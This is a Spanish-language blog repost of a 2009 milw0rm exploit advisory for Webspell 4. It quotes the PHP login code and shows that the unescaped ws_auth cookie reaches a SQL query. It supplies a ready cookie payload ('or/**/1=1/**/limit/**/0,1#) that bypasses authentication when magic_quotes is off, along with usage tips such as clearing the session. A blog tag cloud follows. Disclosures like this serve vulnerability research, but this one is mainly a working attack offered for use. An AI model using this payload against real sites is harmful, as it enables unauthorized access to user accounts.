domingo, 4 de enero de 2009

Webspell 4 (Auth Bypass) SQL Injection Vulnerability

#Webspell Login Bypass
#Found by: h0yt3r
#
##
#Checklogin.php Line 60:
#
# setcookie("ws_auth", $ds['userID'].":".$ws_pwd, time()+($sessionduration*60*60));
# $login = 1;
#
##
#_functions.php Line 253:
#
# $login_per_cookie = false;
# if(isset($_COOKIE['ws_auth']) AND !isset($_SESSION['ws_auth'])) {
# $login_per_cookie = true;
# $_SESSION['ws_auth'] = $_COOKIE['ws_auth'];
# }
##
#src/login.php:
#
# global $userID, $loggedin;
#
# $userID = 0;
# $loggedin=false;
#
# if(isset($_SESSION['ws_auth'])) {
# if(stristr($_SESSION['ws_auth'], "userid")===FALSE){
# $authent = explode(":", $_SESSION['ws_auth']);
# $ws_user = sprintf('%u', $authent[0]);
#
# // ws_pwd must be a string without spaces and with a maximum length of 32 <- ??? # $ws_pwd = substr(str_replace(' ', '', $authent[1]), 0, 32); # # if(isset($ws_user) AND isset($ws_pwd)) { # # $check = safe_query("SELECT userID FROM ".PREFIX."user WHERE userID='$ws_user' AND password='$ws_pwd'"); # # while($ds=mysql_fetch_array($check)) { # $loggedin=true; # $userID=$ds['userID']; # } # } # } else die(); # } # ?>
#
#
####

// ws_pwd must be a string without spaces and with a maximum length of 32
$ws_pwd = substr(str_replace(' ', '', $authent[1]), 0, 32);

Wuta fuck is dis crap?!
$_COOKIE['ws_auth'] can be exploited by somting like dis:
1:'or/**/1=1/**/limit/**/0,1# (# <- is a comment, dont forget...)
And btw:
$_SESSION['ws_auth'] = $_COOKIE['ws_auth'];
So dont foget to delete teh session...
Bad thing: Only works wit magic_quotes == off

But they got some function:
#_functions.php:74
#function sql_quote($value) {
#
# if( get_magic_quotes_gpc() ) {
# $value = stripslashes( $value );
# }
# if( function_exists( "mysql_real_escape_string" ) ) {
# $value = mysql_real_escape_string( $value );
# }
# else
# {
# $value = addslashes( $value );
# }
# return $value;
#}
And why in the world isnt it used?!

~END~

# milw0rm.com [2009-01-03]
Se produjo un error en este gadget.

Etiquetas

INTERNET (457) newsweek (305) SEGURIDAD (225) software (136) HACK (86) Hacker (46) GOOGLE (44) Geek (41) hardware (36) WINDOWS (34) Hackers (31) CRACK (29) video (28) DESCARGA (27) facebook (27) videos (26) Celulares (25) MICROSOFT (22) Informatica (21) apple (19) GRATIS (18) technology (18) virus (18) exploit (17) computación (16) informatico (16) web (15) cracker (14) INALAMBRICO (13) WINDOWS 7 (13) noticias (11) MSN (10) termino (10) ACTUALIZACION (9) Gamer (9) LapTops (9) Mac (9) PASSWORD (9) WINDOWS XP (9) dns (9) firefox (9) juegos (9) FOTOS (8) cientifico (8) iphone (8) WEP (7) antivirus (7) bibliografia (7) Desencriptar (6) INFINITUM (6) wifi (6) youtube (6) Craker (5) Culiacan (5) DESMOSTRACION (5) TELEFONIA (5) messenger (5) DIRECTA (4) DOWNLOAD (4) ESPAÑOL (4) XBOX (4) gmail (4) xss (4) Glosario (3) HTML (3) WPA (3) anuncios (3) hosting (3) hotmail (3) Guru (2) ajax (2) ataques (2) wpa2 (2)